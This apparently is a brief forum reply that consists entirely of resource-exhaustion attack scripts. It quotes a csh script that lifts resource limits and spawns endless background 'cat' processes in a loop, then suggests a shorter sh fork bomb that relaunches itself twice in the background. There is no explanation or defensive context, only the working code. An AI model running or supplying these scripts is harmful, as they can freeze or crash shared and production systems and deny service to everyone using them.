> #!/bin/csh
> set path = ( /usr/bin /usr/sbin /bin /sbin )
> unlimit
> cd /tmp
> if ( -e fifo ) then
> rm fifo
> endif
> mkfifo fifo
> while ( 1 )
> cat fifo >& /dev/null &
> end

how about:

#!/bin/sh
$0 &
$0 &

?